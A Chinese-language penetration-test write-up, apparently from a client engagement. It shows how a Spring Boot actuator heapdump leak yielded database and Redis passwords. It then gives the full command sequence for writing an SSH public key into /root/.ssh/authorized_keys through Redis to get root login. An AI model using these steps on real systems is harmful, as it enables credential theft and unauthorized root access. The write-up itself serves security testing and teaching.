项目是内网环境下进行,所以通过接入内网之后进行目标系统的测试。(信息泄露+redis写公钥)
访问客户给的目标地址通过代理把流量转给了BurpSuite,然后插件就爆了一个spring的信息泄露。
spring信息泄露有很多路径,但是evn这种路径的密码基本上是加密的,会用星号进行脱敏,解密可以看这下面师傅写的文章(我没复现,因为我菜,只会玩heapdump)。
https://blog.51cto.com/u_12632800/4998813
https://www.hacking8.com/bug-product/Spring-Boot/Spring-Boot-%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87.html
发现存在heapdump路径,访问/web/actuator/heapdump进行下载。
heapdump也叫堆转储文件,是java进程在某个时间点的内存快照,里面可能会包含数据库账号密码、shiro的key、阿里云的key等。
下载下来的heapdump文件,可以使用工具进行内容检索,下面为几个常用的heapdump查看工具。
https://github.com/wyzxxz/heapdump_tool(比较常用)
https://github.com/whwlsfb/JDumpSpider(用法简单)
https://docs.oracle.com/javase/6/docs/technotes/tools/share/jvisualvm.html,这个是jdk自带的工具,供开发者用于监视,故障排除。
使用方法可以查看该师傅的博客:https://blog.csdn.net/gw5205566/article/details/105666637
输入password则可以查看携带password的字段。
在里面找到数据库root的密码,同时还有redis、nacos、tomcat的密码。没有找到shiro的key,不然运气好的话还能来个RCE。
第二个工具比较方便是因为一条命令他就会把有用的信息输出出来。
看起来比较舒服。
因为redis不出网,纯内网环境,同时我们是接入不是在现场,路由的问题没办法反弹shell,所以用redis写公钥来进行下一步攻击。
1、 ssh-keygen -t rsa //执行生成key命令
2、(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt //将公钥写入txt
3、cat /root/.ssh/key.txt | redis-cli -h 172.16.198.244 -a redis -x set xxx //将.ssh目录下的公钥文件1.txt 通过redis-cli客户端写入到目标主机缓冲中,-a是因为redis存在密码,而不是未授权。
4、连接redis进行
redis-cli -h 172.16.198.244 -p 6379 -a redis //使用客户端登录目标
config set dir /root/.ssh //设置存储公钥路径,redis的备份路径
config get dir //查看是否设置成功
config set dbfilename "authorized_keys" //设置文件名称
save //保存
5、 ssh -i id_rsa [email protected] //进行ssh连接即可
ps:也可以把id_rsa转换为PEM格式。
然后把生成的id_rsa文件导入到finalshell,用户名是root,即可连接。
导入成功之后使用该密钥就可以连接。
文章作者:知识星球《网络安全情报攻防站-PowerShell_1》
文章链接:https://t.zsxq.com/09deFts5r